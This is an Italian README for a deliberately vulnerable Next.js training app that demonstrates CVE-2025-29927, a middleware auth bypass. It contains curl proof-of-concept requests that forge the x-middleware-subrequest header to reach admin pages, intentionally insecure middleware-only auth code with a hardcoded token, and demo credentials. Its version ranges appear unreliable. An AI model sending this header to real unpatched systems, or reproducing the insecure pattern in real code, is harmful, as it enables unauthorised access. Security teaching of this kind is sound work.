
Demo educativa di CVE-2025-29927, un bypass critico dell'autenticazione middleware di Next.js. Include un pannello di amministrazione vulnerabile, comandi di exploit proof-of-concept e indicazioni per la mitigazione per la formazione sulla sicurezza.
ATTENZIONE: Questa applicazione è intenzionalmente vulnerabile. Solo per scopi didattici e di ricerca sulla sicurezza autorizzata. NON distribuire su un server pubblico.
Questa app dimostra CVE-2025-29927, una vulnerabilità critica di bypass dell'autenticazione nel middleware di Next.js (CVSS 9.1). L'applicazione simula un realistico pannello di amministrazione aziendale per l'azienda fittizia "Himalaya Tech Pvt. Ltd." — rendendo l'impatto del bypass visivamente convincente.
Tutti i record dei dipendenti, le chiavi API, le credenziali del database e altri dati "sensibili" mostrati sono completamente fittizi e simulati — generati solo per dimostrazione didattica.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2025-29927 |
| Gravità | Critica (CVSS 9.1) |
| Interessato | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Corretto in | Next.js 14.2.30, 15.2.3 |
| Tipo | Bypass dell'autenticazione del middleware tramite manipolazione dell'intestazione HTTP |
Next.js utilizza un'intestazione HTTP interna x-middleware-subrequest per tracciare le chiamate ricorsive del middleware e prevenire cicli infiniti. Nelle versioni vulnerabili, un utente malintenzionato può falsificare questa intestazione in una richiesta esterna. Quando l'intestazione è presente e corrisponde all'identificatore del middleware, il runtime di Next.js salta completamente il middleware, inclusa tutta la logica di autenticazione in esso definita.
Qualsiasi applicazione che si basa esclusivamente su middleware.ts per proteggere le route (un pattern comune e raccomandato di Next.js) è vulnerabile. Un utente malintenzionato non autenticato può accedere a qualsiasi pagina protetta semplicemente aggiungendo un'intestazione HTTP.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — full admin dashboard HTML returned, no authentication required
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Aggiungi l'intestazione della richiesta x-middleware-subrequest: middleware a qualsiasi richiesta a /admin/* e il controllo del middleware verrà saltato.
middleware.ts è l'unico meccanismo di protezione:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
I componenti della pagina stessi (ad es. app/admin/page.tsx) non contengono nessun controllo di autenticazione — intenzionalmente, per rispecchiare applicazioni reali che seguono il pattern di protezione basato solo sul middleware.
npm install
npm run dev
L'app sarà disponibile all'indirizzo http://localhost:3000.
*Protetto solo dal middleware — bypassato da CVE-2025-29927.
[email protected]Admin@2024Questa applicazione è fornita solo per scopi didattici, in particolare per dimostrare l'impatto reale di CVE-2025-29927 in un contesto di corso di sicurezza etica. Tutti i dati (record dei dipendenti, chiavi API, credenziali) sono completamente fittizi. Non utilizzare questa applicazione demo o le tecniche dimostrate qui contro sistemi di cui non si possiede o non si ha l'esplicita autorizzazione a testare.
| Route | Autenticazione richiesta | Descrizione |
|---|
/ | No | Pagina di destinazione pubblica |
/login | No | Modulo di login |
/admin | Sì* | Pannello di amministrazione con dati sensibili |
/admin/users | Sì* | Gestione utenti |
/admin/settings | Sì* | Impostazioni di sistema e credenziali |